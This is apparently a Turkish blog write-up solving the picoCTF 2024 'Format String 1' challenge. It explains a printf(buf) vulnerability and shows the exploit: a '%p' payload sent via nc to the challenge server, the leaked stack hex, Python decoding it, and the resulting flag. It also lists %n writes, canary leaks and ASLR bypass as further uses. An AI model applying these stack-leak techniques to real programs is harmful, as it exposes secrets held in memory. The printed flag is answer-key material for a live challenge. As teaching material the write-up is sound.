PicoCTF
PicoCTF 2024 - Format String 1: Reading the Stack
December 27, 2025
Bugün picoCTF 2024’ten “Format String 1” adlı binary exploitation sorusunu çözdüm. Medium seviye bir soru olmasına rağmen, format string zafiyetlerini anlamak için oldukça öğretici bir örnek. Bu yazıda adım adım ne yaptığımı ve neden yaptığımı anlatacağım.
Soruyla İlk Karşılaşma
Sorunun açıklaması şöyle diyor: “Patrick and Sponge Bob were really happy with those orders you made for them, but now they’re curious about the secret menu. Find it, and along the way, maybe you’ll find something else of interest!”
Yani bir “gizli menü” bulmamız gerekiyor. Bize bir binary ve kaynak kodu verilmiş. Kaynak koda baktığımda işler netleşmeye başladı.
Kaynak Kod Analizi
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
// Dosyalardan okumalar...
FILE *fd = fopen("secret-menu-item-1.txt", "r");
fgets(secret1, 64, fd);
fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
fd = fopen("secret-menu-item-2.txt", "r");
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf); // <-- Zafiyet burada!
printf("\n");
printf("Bye!\n");
return 0;
}
Kodu okurken bir satır gözüme çarptı: printf(buf). Bu satır ilk bakışta masum görünüyor, kullanıcının girdiği şeyi ekrana basıyor. Ama aslında ciddi bir güvenlik açığı barındırıyor.
Format String Zafiyeti Nedir?
Normal şartlarda printf fonksiyonunu şu şekilde kullanırız:
printf("%s", buf); // Güvenli kullanım
Burada %s bir format specifier ve printf’e “buf’ı string olarak yazdır” diyor. Ama kodda yazılan şu:
printf(buf); // Tehlikeli kullanım
Peki bu neden tehlikeli? Çünkü eğer ben buf içine %x veya %p gibi format specifier’lar yazarsam, printf bunları gerçek format specifier olarak yorumlayacak. Ve printf bu format specifier’lara karşılık gelen argümanları bulamayınca ne yapacak? Stack’ten okumaya devam edecek!
Yani ben %p yazarsam, printf stack’teki bir sonraki değeri pointer olarak yazdıracak. %p.%p.%p yazarsam üç değer yazdıracak. Bu şekilde stack’te ne varsa okuyabilirim.
Stack’in Durumunu Anlamak
Değişkenlerin tanımlanma sırasına bakalım:
char buf[1024];
char secret1[64];
char flag[64]; // Bunu okumak istiyoruz!
char secret2[64];
C’de yerel değişkenler stack üzerinde tutulur. Ve bu değişkenler dosyalardan okunan verilerle dolduruluyor, yani flag.txt’nin içeriği doğrudan stack’te duruyor. Eğer yeterince fazla %p kullanırsam, stack’i gezerek flag’e ulaşabilirim.
Şekil 1: Stack bellek düzeni. Yerel değişkenler (buf, secret1, flag) stack üzerinde sıralı duruyor. printf(buf) çağırdığımızda, format string’deki her %p, stack’te bir yukarıdaki adresi okumamızı sağlıyor.
Exploit Zamanı
Saldırı mantığımız oldukça basit: Yeterince %p gönderip stack’i “leak” etmek (sızdırmak).
Şekil 2: Exploit akış şeması. Kullanıcı girdisini kontrolsüzce printf’e verdiğimizde, program stack içeriğini bize fısıldıyor.
Instance’ı başlattım ve bağlantı bilgilerini aldım. Şimdi stack’i dump etme zamanı. Python ile 50 tane %p oluşturup sunucuya gönderdim:
python3 -c "print('.'.join(['%p']*50))" | nc mimas.picoctf.net 54389
Gelen cevap şöyleydi:
Here's your order: 0x402118.(nil).0x73efe4532a00.(nil).0x69d880.0xa347834.0x7ffe4c75bb90...
0x7b4654436f636970.0x355f31346d316e34.0x3478345f33317937.0x31395f673431665f.0x7d653464663533...
Bu hex değerlerin arasında bir şeyler dikkatimi çekti. 0x7b4654436f636970 değeri… Bir saniye, 0x70 ASCII’de ‘p’, 0x69 ‘i’, 0x63 ‘c’, 0x6f ‘o’… Bu “pico” yazıyor olabilir mi?
Hex’ten ASCII’ye Dönüşüm
x86-64 mimarisi little-endian kullanıyor. Yani byte’lar bellekte ters sırada duruyor. 0x7b4654436f636970 değerini byte’larına ayırıp tersine çevirdiğimde:
Şekil 3: Little-Endian dönüşüm tablosu. Bellekteki hex değerlerin (örneğin flag parçaları) okunabilir ASCII metne dönüştürülmesi için byte sırasının tersine çevrilmesi gerekir.
70 69 63 6f 43 54 46 7b → p i c o C T F {
Evet! Bu flag’in başlangıcı! Sıradaki değerleri de aynı şekilde çözdüm:
hex_values = [
0x7b4654436f636970, # picoCTF{
0x355f31346d316e34, # 4n1m41_5 (ters çevrilince)
0x3478345f33317937, # 7y13_4x4
0x31395f673431665f, # _f14g_91
0x7d653464663533 # 35fd4e}
]
flag = ""
for val in hex_values:
bytes_val = val.to_bytes(8, 'little')
flag += bytes_val.rstrip(b'\x00').decode('ascii')
print(flag) # picoCTF{4n1m41_57y13_4x4_f14g_9135fd4e}
Ve flag karşımda: picoCTF{4n1m41_57y13_4x4_f14g_9135fd4e}
Neden Bu Kadar Tehlikeli?
Bu örnekte sadece stack’ten okuma yaptık. Ama format string zafiyetleri çok daha tehlikeli olabilir. %n format specifier’ı kullanılarak belleğe yazma bile yapılabilir. Bu da demek oluyor ki:
- Stack’teki hassas verileri okuyabilirsiniz (bu örnekte yaptığımız gibi)
- Canary değerlerini leak edebilirsiniz (buffer overflow korumasını bypass etmek için)
- ASLR’ı bypass edebilirsiniz (adres leak’i yaparak)
- Arbitrary write yapabilirsiniz (return adresini değiştirmek gibi)
Derlenmiş Hali
Bu soru format string zafiyetlerine giriş için mükemmel bir örnek. Öğrendiğimiz şeyler:
Birincisi, kullanıcı girdisini asla doğrudan printf’e vermeyin. Her zaman printf("%s", user_input) şeklinde kullanın. İkincisi, stack üzerinde hassas veriler tutuluyorsa ve bir format string zafiyeti varsa, bu veriler kolayca leak edilebilir. Üçüncüsü, little-endian sistemlerde byte sıralamasını unutmayın, hex değerleri ASCII’ye çevirirken tersine çevirmeniz gerekiyor.
CTF’ler bu tür zafiyetleri güvenli bir ortamda öğrenmek için harika. Gerçek dünyada bu tür hatalar ciddi sonuçlar doğurabilir, o yüzden kod yazarken dikkatli olmakta fayda var.
Yorumlar